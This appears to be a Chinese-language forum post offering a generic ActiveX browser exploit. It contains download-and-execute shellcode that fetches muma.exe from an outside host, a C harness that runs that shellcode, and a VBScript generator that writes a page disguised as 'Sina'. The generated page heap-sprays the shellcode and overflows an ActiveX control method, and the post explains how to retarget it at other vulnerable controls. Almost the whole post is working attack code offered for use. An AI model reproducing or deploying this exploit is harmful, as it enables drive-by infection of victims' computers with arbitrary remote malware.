ActiveX漏洞通用Exploit

终于在milw0rm找到了一个不错的shellcode，down&exec的，灰常好用！顺手写了一个C测试了下，结果是成功下载并执行了"木马"，muma.exe是我用delphi写的一个简单的执行测试程序，无毒无害。复制内容到剪贴板代码:#include <stdio.h>
#include <string.h>

unsigned char shellcode[] =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E"
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03"
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C"
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40"
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C"
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC"
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F"
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB"
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83"
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF"
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"
"http://fenggou.net/muma.exe";

int main()
{
void (* code)(); //把ShellCode转换成一个参数为空，返回为空的函数指针，并调用
* (int *) & code = shellcode;
code();
}
在学习ActiveX的时候读过联众的AX漏洞生成器，思路不错，但不知道什么原因，那个生成器的shellcode我并不能执行成功，索性将其shellcode与heap spray方法暴力分配内存的JS进行了修改，反正在我本机测试100％成功，XP SP2 IE6&IE7。复制内容到剪贴板代码:exeurl = InputBox( "Please input you want down&exec url：", "输入","http://fenggou.net/muma.exe" )
if exeurl <> "" then
code="\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"&Unicode(exeurl&Chr(00)&Chr(00))
Function Unicode(str1)
Dim str,temp
str = ""
For i=1 to len(str1)
temp = Hex(AscW(Mid(str1,i,1)))
If len(temp) < 5 Then temp = right("0000"&temp, 2)
str = str & "\x" & temp
Next
Unicode = str
End Function
function replaceregex(str)
set regex=new regExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function
set fso=createObject("scripting.filesystemobject")
if fso.FileExists("fenggou.htm") then
fso.deleteFile "fenggou.htm",True
end If
set fileS=fso.opentextfile("fenggou.htm",8,true)
fileS.writeline "<html>"
fileS.writeline "<title>Sina</title>"
fileS.writeline "<object classid=""clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D"" id=’target’></object>"
fileS.writeline "<body>"
fileS.writeline "<SCRIPT language=""JavaScript"">"
fileS.writeline "var shellcode = unescape("""&replaceregex(code)&""");"
fileS.writeline "var bigblock = unescape(""%u9090%u9090"");"
fileS.writeline "var headersize = 20;"
fileS.writeline "var slackspace = headersize+shellcode.length;"
fileS.writeline "while (bigblock.length<slackspace) bigblock+=bigblock;"
fileS.writeline "fillblock = bigblock.substring(0, slackspace);"
fileS.writeline "block = bigblock.substring(0, bigblock.length-slackspace);"
fileS.writeline "while(block.length+slackspace<0x40000) block = block+block+fillblock;"
fileS.writeline "memory = new Array();"
fileS.writeline "for (x=0; x<300; x++) memory[x] = block +shellcode;"
fileS.writeline "var buffer = ’’;"
fileS.writeline "while (buffer.length < 218) buffer+=’\x0a\x0a\x0a\x0a’;"
fileS.writeline "target.Method1(buffer);"
fileS.writeline "</script>"
fileS.writeline "</body>"
fileS.writeline "</html>"
files.Close
Set fso=nothing
end if
仍然使用VBS，修改成其他漏洞exp的时候修改buffer长度，与漏洞AX的classid与参数传递方法即可：）
